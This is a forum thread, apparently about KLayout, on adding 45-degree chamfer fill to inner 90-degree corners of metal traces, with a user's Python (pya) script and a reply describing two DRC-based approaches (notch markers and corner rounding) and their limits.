Revision history for Dezi-App 0.016 27 April 2018 - Change shebang line of deziapp tool to /usr/bin/perl so that CPAN will localize on install. 0.015 25 March 2018 - Lots of packaging and test improvements, thanks to Paul Cochrane. 0.014_02 21 March 2018 - test pull request challenge improvements, notably POD and tests. 0.014_01 20 March 2018 - test pull request challenge improvements, notably move to Dist::Zilla 0.014 01 Dec 2015 - replace namespace::sweep with namespace::autoclean 0.013 01 Sept 2014 - move Dezi::Indexer::Headers to SWISH::3::Headers, require SWISH::3 1.000012 - add 'boost' param to internal Compiler object in D::Lucy::Searcher, for Lucy 0.4.0 0.012 15 Aug 2014 - fix error checking in Lucy::Searcher to Search::Query::Dialect - zapped .svn from git repo (never included in dist) 0.011 14 Aug 2014 - add missing MooseX::Getopt to Makefile.PL for deziapp CLI 0.010 04 Aug 2014 - use Try::Tiny in ReplaceRules - require Compress::Zlib on behalf of SWISH::Filter - require CAM:PDF on behalf of SWISH::Filter 0.009 01 Aug 2014 - add missing dependencies to Makefile.PL 0.008 31 July 2014 - bump SWISH::3 dependency to 1.0.10 - InvIndex::Header->data now coerces into full hash on build. - fix bug where Indexer::Config->new($hashref) was ignoring $hashref 0.007 31 July 2014 - add missing dependencies to Makefile.PL 0.006 30 July 2014 - allow Indexer::Doc->action and ->parser to be undef in new() - fix Indexer::Config coercion from HashRef 0.005 30 July 2014 - optimizations - fix filter() option in Dezi::App to access a string as documented. - warn if reserved field name is used in Indexer::Config - add missing HTTP::Date dependency to Makefile.PL 0.004 22 July 2014 - improve support for Multi-Value fields - fix failing leak test 0.003 21 July 2014 - add ->make_immutable to all classes for speed. - minor optimizations after running through NYTProf 0.002 19 July 2014 - add missing CLI options for backcompat with swish3 0.001 18 July 2014 - Initial release, ported from SWISH::Prog | https://metacpan.org/changes/distribution/Dezi-App | CC-MAIN-2020-50 | refinedweb | 351 | 60.21 |
.
<?php phpinfo(); ?>
If you get any issues try renaming info.php as info.php4 and then info.php5 or better yet, create 3 files ...
info.php
info.php4
info.php5
Quite often ISPs will use different extensions to identify different versions of PHP. I use Sambar Server and have PHP4 and PHP5 side-by-side so I can regression test new code (I work primarily in PHP5).
As for the code NOT working ...
Not sure.
The view-source of your code was ...
<?php <br /> echo "It Worked"; <br />?>
Which is fine.
The only thing I am wondering about is what is the editor you are using? Are you using MS Word or a non plain text editor?
With programs like MS Word, the quotes can be turned into what they call smart quotes (open and closed quotes). These are no good for programming with. They are completely different symbols.
" is chr(34) and ' is chr(39).
But that doesn't seem to be the issue. Hmmm...
The actual error of T_CONSTANT_ENCAPSED_STRING
From the PHP Manual ... ().
Note:
In PHP 3, a warning will be issued at the E_NOTICE level when this happens.
Note:
Unlike the two other syntaxes, variables and escape sequences for special characters will not be expanded when they occur in single quoted strings.
copy to clipboard
< understands more escape sequences for special characters:
Table 2.1. Escaped characters
sequence meaning
\n linefeed (LF or 0x0A (10) in ASCII)
\r carriage return (CR or 0x0D (13) in ASCII)
\t horizontal tab (HT or 0x09 (9) in ASCII)
\\ backslash
\$ dollar sign
\" double-quote
\[0-7]{1,3} the sequence of characters matching the regular expression is a character in octal notation
\x[0-9A-Fa-f]{1,2} the sequence of characters matching the regular expression is a character in hexadecimal notation..
It is not allowed to use heredoc syntax in initializing class members. Use other string syntaxes instead.
Example 2.3. Invalid example
copy to clipboard
<?php
class foo {
public $bar = <<<EOT
bar
EOT;
}
?> heredoc as with strings.
Example 2.4. Heredoc string quoting example
copy to clipboard
<;
?>
Note:
Heredoc support was added in PHP 4.
Variable parsing.
The complex syntax was introduced in PHP 4, and can be recognised by the curly braces surrounding the expression.
Simple syntax
If a dollar sign ($) is encountered, the parser will greedily take as many tokens as possible to form a valid variable name. Enclose the variable name in curly braces if you want to explicitly specify the end of the name.
copy to clipboard
<?php
$beer = 'Heineken';
echo "$beer's taste is great"; // works, "'" is an invalid character for varnames
echo "He drank some $beers"; // won't work, 's' is a valid character for varnames
echo "He drank some ${beer}s"; // works
echo "He drank some {$beer}s"; // works
?>.
copy to clipboard
<.
Complex (curly):
copy to clipboard
<?php
// Let}}";
?>
String access and modification by character.
Example 2.5. Some string examples
copy to clipboard
<';
// Alternative method using {}
$third = $str{2};
?>
Useful functions and operators.
Converting to string..
copy to clipboard
<).
If you would like to test any of the examples in this section, you can cut and paste the examples and insert the following line to see for yourself what's going on:
copy to clipboard
<?php
echo "\$foo==$foo; type is " . gettype ($foo) . "<br />\n";
?>
Do not expect to get the code of one character by converting it to integer (as you would do in C for example). Use the functions ord() and chr() to convert between charcodes and characters.
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING
this means the php parser understands the php files and parsing it.
--------------------
<?php
echo "It Worked";
?>
i don't see anything wrong there, but you can also try something like
<?php
echo phpinfo();
?> | https://www.experts-exchange.com/questions/21881850/Testing-PHP-on-my-new-Windows-2003-website.html | CC-MAIN-2018-17 | refinedweb | 629 | 67.65 |
How to clean \xc2\xa0 \xc2\xa0..... in text data
python remove xa0 from list
python replace 0xa0
unicodeencodeerror: 'ascii' codec can t encode characters in position 0-3: ordinal not in range(128)
remove 0xa0
python remove xc2
replace u xa0 u
xc2 xb4
When I was trying to read a text file with the following python code:
with open(file, 'r') as myfile: data = myfile.read()
Got some weird characters start with \x...., what do they stand for and how to get rid of them in reading a text file?
e.g.
...... \xc2\xa0 \xc2\xa0 chapter 1 tuesday 1984 \xe2\x80\x9chey , jake , your mom sent me to pick you up \xe2\x80\x9d jacob robbins knew better than to accept a ride from a stranger , but when his mom\xe2\x80\x99s friend ronny was waiting for him in front of school he reluctantly got in the car \xe2\x80\x9cmy name is jacob........
That's UTF-8 encoded text. You open the file as UTF-8.
with open(file, 'r', encoding='utf-8') as myfile: ...
2.x:
with codecs.open(file, 'r', encoding='utf-8') as myfile: ...
Unicode In Python, Completely Demystified
Xa0 xa0, This data must be available in CASA (see § 2 on importing data). 4. If In an HTML page that I'm scraping using urllib2, a \xc2\xa0 bytestring appears. 2 shows what happens when you set some of the clean parameters to and Categories lealife changed the title Copy text contains "\xA0" (not space, it's a In Beautiful Soup, you can pass get_text () the strip parameter, which strips white space from the beginning and end of the text. This will remove \xa0 or any other white space if it occurs at the start or end of the string. Beautiful Soup replaced an empty string with \xa0 and this solved the problem for me. mytext = soup.get_text (strip=True)
Those are string escapes. They represent a character by its hexadecimal value. For example,
\x24 is
0x24, which is the dollar sign.
>>> '\x24' '$' >>> chr(0x24) '$'
One such escape (from the ones you provided) is
\xc2 which is
Â, a capital A with a circumflex.
trim - Manual, $text = "\t\tThese are a few words :) "; var_dump($clean); ? non breaking-space is "\u{a0}" or "\xc2\xa0" in utf-8, "µ" is "\u{b5}" or "\xc2\xb5" in utf-8 and "à" is How to clean \xc2\xa0 \xc2\xa0… in text data. When I was trying to read a text file with the following python code: 296
def main(): args = parse_args() if args.file : //To clean \xc2\xa0 \xc2\xa0… in text data file_to_read = args.file.decode('utf-8','ignore').strip() f = open(file_to_read, "r+") text_from_file = f.read() else : text_from_file = sys.argv[1]
✍️ 👇🏽 😤 Removing Java Unicode characters, email : abc@gmail.com\xa0\xa0 street : 123 Main St.\xc2\xa0 String clean = str. I believe that the data really contains non-printable and non-ASCII characters, and another component (for example, a framework) replaces them with a removeFrom(input); String clean = CharMatcher. You can use java.text.normalizer. text=text.replace('\xc2\xa0', ' ') It is just fast workaround and you probablly should try something with right encoding setup. I ran into this same problem pulling some data from a sqlite3 database with python.
the below code clears the issue
path.decode('utf-8','ignore').strip()
eSpeak: speech synthesis / [Espeak-general] espeak segmentation , "\ espeak -h | grep eSpeak eSpeak text-to-speech: 1.45.23 03.May.11 Data at: /home/reece/espeak-data - Reece Thanks for helping keep SourceForge clean. > u'This just gets \xc2\xa0' > > Or is it a Microsoft bytestring? This is not weird, this is the python interpreter giving you the representation of a unicode-object when you do not print, so you can see what it looks like. And because you wrongly decoded it as latin1, it's garbage anyway. > >>>> weirder = unicode('\xc2\xa0', 'mbcs')
utf8_decode, Trying to convert text that is not encoded in UTF-8 using this function will most IMPORTANT: when converting UTF8 data that contains the EURO sign //Problem is that utf8_decode convert HTML chars for „ and other to ? or to \xA0. [\xc2-\xdf][\x80-\xbf]| To clean all symbols BOM from the text of page: A XPath expression that worked with the libxml selector does not work with the lxml selector #579
A data cleaner's cookbook, TSV This marker means that the recipe only works with tab-separated data tables nb=$(awk -F"\xc2\xa0" 'NF>1 {c+=(NF-1); d++} END {print c" in "d" records"}' "$1" a plain-text, tab-separated table with record number, field number and data Brian D <briandenzer@gmail.com> writes: > In an HTML page that I'm scraping using urllib2, a \xc2\xa0 > bytestring appears. > > The page's charset = utf-8, and the Chrome browser I'm using displays
parsing Python: Removing xa0 from string?, text=text.replace('\xc2\xa0', ' '). I end up here while googling for the problem with not printable character. I user MySQL UTF-8 general_ci and deal with polish I need to generate a 2D density map given some unstructured (x, y) coordinates, and a z value which acts as the weight assigned to each point.. I can interpolate the values into a grid (see code below) using either scipy.interpolate.Rbf or scipy.interpolate.griddata.
- Which is it, python 2 or python 3?
- I hope Jacob is ok
io.open(file, 'r', encoding='utf-8')will work in both 2 and 3 (unless they're using 2.5 or older, in which case they have bigger problems).
- Well, if I run your code I got: u"\xa0\n \n \nNo Former Brothers \n \n \nA BoonieRats - Jake Olson Novel \n \n \nby Bill Ellingsen \n \n\n \n\xa0\n \n \nNo Former Brothers by Bill Ellingsen \n \nCopyright \xa9 2011 by Bill Ellingsen\n \n \nPublished by Bill Ellingsen \n \nAll rights reserved\n \n \nCover design by Daniel Cosgrove \n \nCopyright \xa9 2011 by Bill Ellingsen\n \n \n
- Which is exactly what you should have. fileformat.info/info/unicode/char/00a0/index.htm fileformat.info/info/unicode/char/00a9/index.htm | https://thetopsites.net/article/58084507.shtml | CC-MAIN-2021-25 | refinedweb | 1,030 | 62.88 |
> Why is there no Zippable class? There is. > > You can use Data.Zippable from. > > It gives you a function > > tryZip :: Zippable k => k a -> k b -> Either String (k (a,b)) > > The Either in the return type is to capture an error message in case > the > two structures are not of the same shape. This functionality can also be obtained from the generic programming library EMGM, with the function zip :: FRep3 ZipWith f => f a -> f b -> Maybe (f (a, b)) You can use Template Haskell to generate the necessary FRep3 instances. Once you have those you get many other generic functions for free. See -- Johan Jeuring > For example, for > > data Tree a = Leaf a | Node (Tree a) (Tree a) > > you would have: > > instance Zippable Tree where > tryZip (Leaf a) (Leaf b) = Right (Leaf (a,b)) > tryZip (Node a1 a2) (Node b1 b2) = do z1 <- tryZip a1 b1 > z2 <- tryZip a2 b2 > return (Node z1 z2) > tryZip _ _ = Left "Structure mismatch." > > Of course, you can get an "unsafe" zip by composing tryZip with a > fromRight. > > What's more, the mentioned package contains an automatic Template > Haskell deriver for Zippable instances, so you don't have to write the > above instance definition yourself. > > The implementation is by Joachim Breitner. > > Ciao, > Janis. > > -- > Dr. Janis Voigtlaender > > mailto:voigt at tcs.inf.tu-dresden.de > > _______________________________________________ > Haskell-Cafe mailing list > Haskell-Cafe at haskell.org > | http://www.haskell.org/pipermail/haskell-cafe/2009-July/064332.html | CC-MAIN-2014-42 | refinedweb | 232 | 68.2 |
I’ve come across this one several times when working with ASP.NET. When you want to put something from .NET onto your ASP.NET page, it is common to do one of these:
<%# Eval(“FirstName”) %>
<%# Bind(“FirstName”) %> //Bind is just a wrapper around Eval()
As opposed to something like this:
<%-- In C# --%>
<%# ((DataRowView)Container.DataItem)["FirstName"] %>
<%-- In VB.NET --%>
<%# CType(Container.DataItem, System.Data.DataRowView)("FirstName") %>
The second one seems like more typing. Otherwise they seem pretty close. So, a lot of developers figure: go with fewer words. It’s the kiss principle (keep it simply simple). Guess what? This simple way is a performance killer.
The Eval() command uses reflection to evaluate this expression. In case you are not familiar with reflection, it is bad. It is a notorious performance hog and you should avoid it whenever possible. Microsoft even warns you in the MSDN article about Eval ( read the section under “Note”).
Eval()
Eval
Think of it like this: Eval takes about 1/20th of a second per call, and the other way takes about 1/1000th of a second per call. On a grid with 5 columns and 8 rows, Eval would take 2 seconds and the other would take under 1 second. Nobody would notice the difference. However, change that grid to 10 columns and 50 rows. You now have a difference of 25 seconds. It is the kind of thing that might not matter very much, most of the time but when it does, it makes a big difference.
Once, I had a discussion with a seasoned developer about this topic and he asked “If Eval() is so bad, why would Microsoft leave it in there and refer to it in so many of their docs and online examples?” The reason is: these docs are for newbies and rookies. People who are just starting-out seem to prefer the simplest ways of doing things.
Do you think you should give a rookie the task of building a demanding web page that needs to scale really well or requires peak performance? Someday, yes, but at first, the rookie just wants to get his stuff to run. He needs to crawl before he walks/runs. Knowing how to tune your apps to perform-well is a craft and it comes after experience. Some consider it a bit of a right-of-passage. The day you turn from your Eval() ways, is the day you become a man in the .NET world. In contrast, if you are still using Eval, then it is time for you to move out of your mom’s basement and start using strong-types. You don’t need reflection to do your heavy-lifting any more. You know what Type that databinder is using. So get it together and type-cast it like a senior developer and stop wasting all of those CPU ticks.
Eval()
If you would like to read more, let me recommend the following articles:
So always remember: "Eval is evil". If you have any dignity at all, as a programmer, you are now compelled to banish it forever. If you ever see it in any code, anywhere, light a torch or grab a pitchfork and run it out of town like the monster that it is.
Eval
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
<%# ((DataRowView)Container.DataItem)["FirstName"] %>
Compiler Error Message: CS0246: The type or namespace name 'DataRowView' could not be found (are you missing a using directive or an assembly reference?)
DataRowView
Container.DataItem
List<MyTypes.Customer.Account>
<%# ((MyTypes.Customer.Account)Container.DataItem)["FirstName"] %>
Imports System.Data
timh99999 wrote:Does it also help to type the result?...
((int)((DataRowView)Container.DataItem)[“NumericField”]).ToString("G0")
((int)((DataRowView)Container.DataItem)[“NumericField”]).ToString("G0")
<tr><td>((int)((DataRowView)Container.DataItem)[“NumericField”]).ToString("G0")</td></tr>
(((DataRowView)Container.DataItem)[“NumericField”]).ToString("G0")
General News Suggestion Question Bug Answer Joke Praise Rant Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages. | http://www.codeproject.com/Articles/623516/The-evil-of-Eval-in-ASP-NET | CC-MAIN-2016-18 | refinedweb | 683 | 64.91 |
IRC log of xproc on 2007-05-17
Timestamps are in UTC.
14:41:38 [RRSAgent]
RRSAgent has joined #xproc
14:41:38 [RRSAgent]
logging to
14:42:58 [MoZ]
MoZ has changed the topic to:
14:51:17 [rlopes]
rlopes has joined #xproc
14:53:48 [MoZ]
Zakim, what is the code ?
14:53:48 [Zakim]
the conference code is 97762 (tel:+1.617.761.6200 tel:+33.4.89.06.34.99 tel:+44.117.370.6152), MoZ
14:55:54 [PGrosso]
PGrosso has joined #xproc
15:00:10 [alexmilowski]
alexmilowski has joined #xproc
15:00:33 [richard]
richard has joined #xproc
15:00:48 [Zakim]
XML_PMWG()11:00AM has now started
15:00:55 [Zakim]
+Alex_Milowski
15:00:59 [Zakim]
+??P1
15:01:00 [richard]
zakim, ? is me
15:01:00 [Zakim]
+richard; got it
15:01:12 [Zakim]
+[ArborText]
15:01:28 [Zakim]
+MoZ
15:01:58 [Andrew]
Andrew has joined #xproc
15:02:13 [Zakim]
+??P21
15:02:20 [rlopes]
Zakim, ? is me
15:02:20 [Zakim]
+rlopes; got it
15:02:33 [Zakim]
+??P0
15:02:39 [Andrew]
zakim, ? is Andrew
15:02:39 [Zakim]
+Andrew; got it
15:04:38 [MoZ]
ScribeNick: richard
15:04:44 [MoZ]
Scribe: Richard
15:04:58 [MoZ]
Present: Alex, Richard, Paul, Mohamed, Rui, Andrew
15:06:00 [MoZ]
Regrets: Norm, Henri, Alessandro
15:06:17 [richard]
agenda and minutes accepted
15:06:17 [PGrosso]
Agenda accepted.
15:06:18 [MoZ]
Topic: Accept the agenda
15:06:22 [MoZ]
Accepted
15:06:31 [MoZ]
Topic: Accept the minutes
15:06:33 [MoZ]
Accepted
15:06:50 [richard]
Alex's serialization proposal
15:06:54 [MoZ]
Topic: Meeting 24 May of 2007
15:06:58 [MoZ]
No regrets
15:07:08 [richard]
Alex: waiting for Henry's wording
15:07:18 [richard]
Step library review
15:07:29 [MoZ]
Topic: Step library review
15:08:21 [richard]
http-request discussion deferred
15:09:02 [richard]
Topic: load options
15:09:21 [richard]
DTD validation, namespace support
15:10:05 [richard]
Richard: should not allow turning off namespaces
15:14:28 [richard]
Consensus: shouldn't have option to allow namespace-ill-formed docs
15:19:12 [richard]
DTD validation: get a dynamic error is processor doesn't support it
15:19:42 [PGrosso]
s/is/if/
15:20:42 [richard]
If validated, dynamic error if not valid
15:21:05 [richard]
Consensus: have this validate option on load
15:21:54 [alexmilowski]
15:23:26 [MoZ]
15:23:54 [richard]
Topic: Escaped markup
15:27:20 [MoZ]
and match="//*" ?
15:28:59 [MoZ]
match="//node()"
15:31:09 [richard]
Discussion: do we need a match argument to specify what to escape, or should we jsut use a viewport?
15:32:41 [richard]
Consensus: no match option, use a viewport
15:33:21 [richard]
Topic: Boolean options
15:33:50 [richard]
yes/no? true/false?
15:36:02 [richard]
Alex favours status quo (yes/no)
15:36:15 [richard]
Moz favours status quo for now at least
15:36:33 [richard]
Consensus: don't change it
15:37:28 [richard]
Topic: Content-type for unescape-markup
15:38:08 [richard]
Also question of what to do if you get text/html etc (it may be wf xml)
15:40:24 [richard]
Alex: add HTML parsing to next week's agenda
15:40:57 [richard]
(we don't have all the people this week)
15:41:08 [richard]
Topic: wrapping a sequence
15:41:48 [richard]
Should we have a component to take a sequence and wrap it into a single document?
15:41:55 [richard]
Moz: there's no other way to do it
15:42:07 [richard]
Alex: could allow "wrap" to do it
15:42:44 [richard]
Moz: would be bad for wrap to be quite different for sequence and single doc
15:43:01 [richard]
Consensus: have a separate component
15:43:17 [richard]
How to specify the wrap element name?
15:44:20 [richard]
(can't use "name", because it's taken)
15:44:55 [MoZ]
Zakim, who is on the phone ?
15:44:55 [Zakim]
On the phone I see Alex_Milowski, richard, PGrosso, MoZ, rlopes, Andrew
15:47:03 [rlopes]
Zakim, who is making noise?
15:47:14 [Zakim]
rlopes, listening for 10 seconds I could not identify any sounds
15:47:47 [richard]
No strong preference, call it "wrapper" for now
15:48:09 [richard]
Topic: rename XSLT
15:48:37 [richard]
(xslt->xslt1, we already have xslt2)
15:49:57 [richard]
Moz: Norm's argument for xslt is good, are we going to put version numbers on all the other components?
15:50:20 [alexmilowski]
15:53:28 [richard]
Consensus: stick the the status quo
15:54:00 [richard]
Topic: Aggregate
15:54:14 [richard]
Alex: is this the same as wrap-sequence?
15:54:46 [richard]
Moz: no, it's more powerful. Wouldn't need wrap-sequence if we had aggregate
15:55:50 [richard]
Moz: or could having matching-document on wrap-sequence
15:57:28 [richard]
Moz: if we had recursive steps we could handle it that way, but we don't
15:59:44 [richard]
Moz: discussion of wrapping sequences of chapters etc
16:01:05 [richard]
Paul to send IRC log to construct minutes from
16:01:07 [Zakim]
-richard
16:01:10 [Zakim]
-PGrosso
16:01:10 [Zakim]
-rlopes
16:01:12 [Zakim]
-MoZ
16:01:12 [Zakim]
-Alex_Milowski
16:01:16 [Zakim]
-Andrew
16:01:18 [Zakim]
XML_PMWG()11:00AM has ended
16:01:19 [Zakim]
Attendees were Alex_Milowski, richard, PGrosso, MoZ, rlopes, Andrew
16:02:19 [MoZ]
RRSAgent, make minutes
16:02:19 [RRSAgent]
I have made the request to generate
MoZ
16:02:49 [MoZ]
RRSAgent, make logs world-visible
16:02:59 [MoZ]
alexmilowski, richard
16:03:08 [MoZ]
you can just edit
16:03:25 [alexmilowski]
nice
16:03:34 [alexmilowski]
Someone has a clue about zakim
16:03:35 [MoZ]
oups seems to not work
16:03:55 [MoZ]
RRSAgent, make minutes
16:03:55 [RRSAgent]
I have made the request to generate
MoZ
16:04:18 [MoZ]
Chair: Alex
16:04:22 [MoZ]
RRSAgent, make minutes
16:04:22 [RRSAgent]
I have made the request to generate
MoZ
16:04:46 [MoZ]
16:04:49 [MoZ]
just look here
16:09:42 [PGrosso]
PGrosso has left #xproc | http://www.w3.org/2007/05/17-xproc-irc | CC-MAIN-2015-18 | refinedweb | 1,066 | 58.79 |
Three different implementations of the same algorithm, taking advantage of different strengths of the three languages. I suggest reading all three, even if you don't know all three languages.
All three of course work swap the current node with the next node by rearranging pointers, then move on to the next pair, and repeat until the end of the list.
C++
Pointer-pointer
pp points to the pointer to the current node. So at first,
pp points to
head, and later it points to the
next field of ListNodes. Additionally, for convenience and clarity, pointers
a and
b point to the current node and the next node.
We need to go from
*pp == a -> b -> (b->next) to
*pp == b -> a -> (b->next). The first three lines inside the loop do that, setting those three pointers (from right to left). The fourth line moves
pp to the next pair.
ListNode* swapPairs(ListNode* head) { ListNode **pp = &head, *a, *b; while ((a = *pp) && (b = a->next)) { a->next = b->next; b->next = a; *pp = b; pp = &(a->next); } return head; }
Python
Here,
pre is the previous node. Since the head doesn't have a previous node, I just use
self instead. Again,
a is the current node and
b is the next node.
To go from
pre -> a -> b -> b.next to
pre -> b -> a -> b.next, we need to change those three references. Instead of thinking about in what order I change them, I just change all three at once.
def swapPairs(self, head): pre, pre.next = self, head while pre.next and pre.next.next: a = pre.next b = a.next pre.next, b.next, a.next = b, a, b.next pre = a return self.next
Ruby
Again,
pre is the previous node, but here I create a dummy as previous node of the head. And again,
a is the current node and
b is the next node. This time I go one node further and call it
c.
To go from
pre -> a -> b -> c to
pre -> b -> a -> c, we need to change those three references. Here I chain the assignments, pretty much directly saying "
pre points to
b, which points to
a, which points to
c".
def swap_pairs(head) pre = dummy = ListNode.new 0 pre.next = head while a = pre.next and b = a.next c = b.next ((pre.next = b).next = a).next = c pre = a end dummy.next end
based on your python approach, python solution could be like this
class Solution: # @param {ListNode} head # @return {ListNode} def swapPairs(self, head): prev = self prev.next = head while prev.next and prev.next.next: prev.next, prev.next.next, prev.next.next.next = prev.next.next, prev.next, prev.next.next.next prev = prev.next.next return self.next
Ha, yeah, although that line is quite long and I hate it when I have to scroll and can't see the whole code at once. So I'd break it:
def swapPairs(self, head): pre, pre.next = self, head while pre.next and pre.next.next: pre.next, pre.next.next, pre.next.next.next = \ pre.next.next, pre.next, pre.next.next.next pre = pre.next.next return self.next
But I do like the simplicity, not having extra variables whose meaning I need to remember. Just explicity talking about the next three nodes. Verbose but neat.
Those two lines within the while loop can also be written as:
pre.next, pre.next.next, pre.next.next.next, pre =\ pre.next.next, pre.next, pre.next.next.next, pre.next
If only there's a way to simplify all these .next...
Here is a recursive version just for reference:
def swapPairs(self, head): if head and head.next: head, head.next, head.next.next = \ head.next, head, self.swapPairs(head.next.next) return head
Yeah, I had considered to merge the two lines, but I found it long enough already :-). And it would be mixing two really separate issues, doing the swap and moving forward.
But if we do mix them, let's go further and assign
pre earlier so we can save two
pre.next, pre, pre.next.next, pre.next = \ pre.next.next, pre.next, pre.next, pre.next.next.next
Nice recursive one. I hadn't really tried because of the constant space requirement. It can similiarly be "optimized" a bit further:
head.next, head, head.next = \ self.swapPairs(head.next.next), head.next, head,
I had a smile on my face when I see you shaved off 2 .next in the first one and 1 .next in the second one. Good job as always.
In python solution, you use
self instead
dummy which most people use,it is very nice! i get it.
In python solution, is self.next = head ?
Why you can return self.next without claiming self.next = pre.next at the beginning?
struct ListNode* swapPairs(struct ListNode* head) { if(!head || !head->next){ return head; } struct ListNode **linkp = &head; struct ListNode *current; while((current = *linkp) != NULL && current->next){ *linkp = current->next; current->next = current->next->next; (*linkp)->next = current; linkp = ¤t->next; } return head; }
Same as mine, your c code, but you provide three methods, brilliant!!!
@swengzju My first line does set
pre = self and then
pre.next = head (which is equivalent to
self.next = head, as
pre and
self are the same object).
Hi Stefan, would you please explain what these two lines are doing? Sorry I don't really know how pointer to pointer works.
*pp = b;
pp = &(a->next);
Very elegant python solution. However, can i ask why we can assign prev to self? And why self has "next" attribute in it? Thanks!
Thanks! Why we can just swap the objects without considering the order (in Python)? I thought it would mess up the node's
next properties.
@StefanPochmann said in 7-8 lines C++ / Python / Ruby:
We need to go from *pp == a -> b -> (b->next) to *pp == b -> a -> (b->next).
Where in the code does a->next get set to the next swapped pair head? (i.e. in 1->2->3->4 and solution 2->1->4->3, where does 1->4 occur?)
@erica76 Here is an example to show you the first iteration of the while loop.
Visualize the linked list as node_a->node_b->node_c->...etc....
In the first iteration, pp is a pointer to the pointer named head and head is a pointer to the first node in the linked list.
(visualize pp->head->node_a)
So, in first iteration, *pp = b; is changing pp->head->node_a to
pp->head->node_b (after you swap node_a, node_b you must change head to point to node_b)
In first iteration, pp = &(a->next); is then moving pointer pp from pointing pointer head to point to the address where node_c is stored.
(visualize linked list head->node_b->node_a->node_c->.... and pointer pp was changed to be pp->node_c in order to set up the swap between node_c->node_d in the second iteration)
Cheers!
Zach
hello, I have a question, when I wrote the code as:pre.next, b.next, a.next = b, a, b.next in one line,it accepted.
but when I wrote the code as:pre.next=a
b.next=a
a.next=b.next it TLE,how coulde it happend?why?
@rawmy12 When you do
pre.next, b.next, a.next = b, a, b.next, Python first evaluates the tuple on the right side and then assigns it to the left side targets. So
a.next becomes what
b.next was before that line. That's not the case in your separate-lines version, because when you assign to
a.next, you already changed
b.next. It's not anymore the value it was before.
@StefanPochmann I got it.Maybe it's one of the Python's advantages to other programming languages. Am I right :-D
Looks like your connection to LeetCode Discuss was lost, please wait while we try to reconnect. | https://discuss.leetcode.com/topic/18860/7-8-lines-c-python-ruby | CC-MAIN-2017-39 | refinedweb | 1,330 | 86.4 |
Is there a way to give an audio clip from a specific array of audio clips a unique I.D. that I could reference from other clips or save to player prefs?
Answer by Glurth
·
Jan 12, 2017 at 10:07 PM
I like static classes for stuff like that (uncompiled/tested example). Note: the counter will reset to Zero every time you launch the program, so this won't do for SAVING the ID between sessions. But if you give them ID's onload or at runtime only, this should do.
static public class AutoClipCounter{
static int counter=0;
public static int GetNextID() {return counter++;}
}
Access with something like;
clipID=AudioClipCounter.GetNextID();
Thanks @Glurth, That might work, so far to track the last audio clip played I have been using something like this:
public void ThatReferenceEscapesMe(){
AudioClip myClip = ThatReferenceEscapesMeClips [Random.Range (0, ThatReferenceEscapesMeClips.Length)];
source.PlayOneShot (myClip);
lastClipPlayed = myClip;
StartCoroutine (voiceBlocker (myClip.length + AdditionalDelay));
}
And then using the: lastClipPlayed to access the name of the clip using .name
I had thought of saving the .name of the last clip played as a string into a temporary player prefs....?? Maybe your idea might be better....?? Not sure??
Well, if your trying to get the "next clip" randomly, then I don't think my solution will help, since it will always give you the clips in order.
I think in this case, you just need to make the lastClipPlayed as STATIC variable. (only one instance of a static variable, regardless of how many class instances exist.) You would also access it by class Name. The uniqueID number, will be equal to the index into the array.
public Class ClipPlayer{
public static int LastAudioIndex;
public void ThatReferenceEscapesMe(){
int newIndex=Random.Range (0, ThatReferenceEscapesMeClips.Length);
while(newIndex==LastAudioIndex) //example: don't repeat last clip code
newIndex=Random.Range (0, ThatReferenceEscapesMeClips.Length);
AudioClip myClip = ThatReferenceEscapesMeClips [newIndex];
LastAudioIndex=newIndex
source.PlayOneShot (myClip);
lastClipPlayed = myClip;
StartCoroutine (voiceBlocker (myClip.length + AdditionalDelay));
}
}
....
in a different class, you can access that variable via
ClipPlayer.LastAudioIndex
You can certainly save&load this value as a player pref, which will allow it to store the value between sessions. If you don't care what the lastClipPayed was in the previous session, then no need to save it as a player.
Multiple Cars not working
1
Answer
Getting Xbox 360 User ID (Or some sort of unique identifier)
0
Answers
Distribute terrain in zones
3
Answers
My footstep sounds do not play when i walk, whats wrong with my script?
1
Answer
Help with Playerprefs to saving colors of buttons.
0
Answers | https://answers.unity.com/questions/1298310/give-audio-clip-from-array-a-unique-id.html | CC-MAIN-2019-51 | refinedweb | 430 | 57.37 |
It looks like you're new here. If you want to get involved, click one of these buttons!
Hello,
Some EDA tool has chamfer function, which can add extra pattern to prevent
metal trace from transition with 90 degree angle or less ( Maybe not often to see in VLSI ?)
Someone told me, it can be done by " round corner " function, but I tried and failed, due to
triangle compensation is preferred.. Share below code for fun, any smart method or comment will be appreciated.
BTW, the initial length of chamfer ( tear_drop ) is 20 " um "
import pya cellview = pya.CellView.active() layout = cellview.layout() top = cellview.cell metal = layout.layer(9 , 0) tear_drop = layout.layer(6 , 0) pya.Application.instance().main_window().current_view().add_missing_layers() target_90 = pya.Region( layout.top_cell().begin_shapes_rec(metal)).with_angle(270, 360 , False) count_90 = target_90.size() first_edge_iter_90 = target_90.first_edges().each() second_edge_iter_90 = target_90.second_edges().each() target_90_pairs_set = [ k for k in target_90.each() ] center_90_set = [] start_point_set = [] end_point_set = [] def center_90(): for i in range(0, count_90): center = target_90_pairs_set[i].first.crossing_point(target_90_pairs_set[i].second) center_90_set.append(center) def start_point(): for j in range(0, count_90): P1 = target_90_pairs_set[j].first.d().x P2 = target_90_pairs_set[j].first.d().y P3 = target_90_pairs_set[j].first.length() P4 = center_90_set[j].x P5 = center_90_set[j].y length = 20000 if)) else: pass def end_point(): for j in range(0, count_90): P1 = target_90_pairs_set[j].second.d().x P2 = target_90_pairs_set[j].second.d().y P3 = target_90_pairs_set[j].second.length() P4 = center_90_set[j].x P5 = center_90_set[j].y length = 20000 if)) else: pass def tear(): for x in range(0, count_90): P1 = start_point_set[x] P2 = center_90_set[x] P3 = end_point_set[x] poly = pya.Polygon( [ P1, P2, P3 ] ) top.shapes(tear_drop).insert(poly) center_90() start_point() end_point() tear()
Now you are challenging me
Here is a simple solution that uses a DRC function with an intra-polygon space check with an above-90 angle limit to generate notch violation markers on inner 90 degree-corners. 1µm is the edge length of the marker:
Result:
This approach will not work properly on edges less than 1µm length because then the chamfering gets non-45 degree.
The rounded-corner approach works as well (DRC) when you set the outer corner radius to 0 and use the octagon approximation (n=8):
Caveat: the corner rounding does not apply full radius on edges shorter than f µm (f is 1.707...) but applies a smaller chamfering:
So both approaches have a slight disadvantage that you may be able to mitigate with specific design rules.
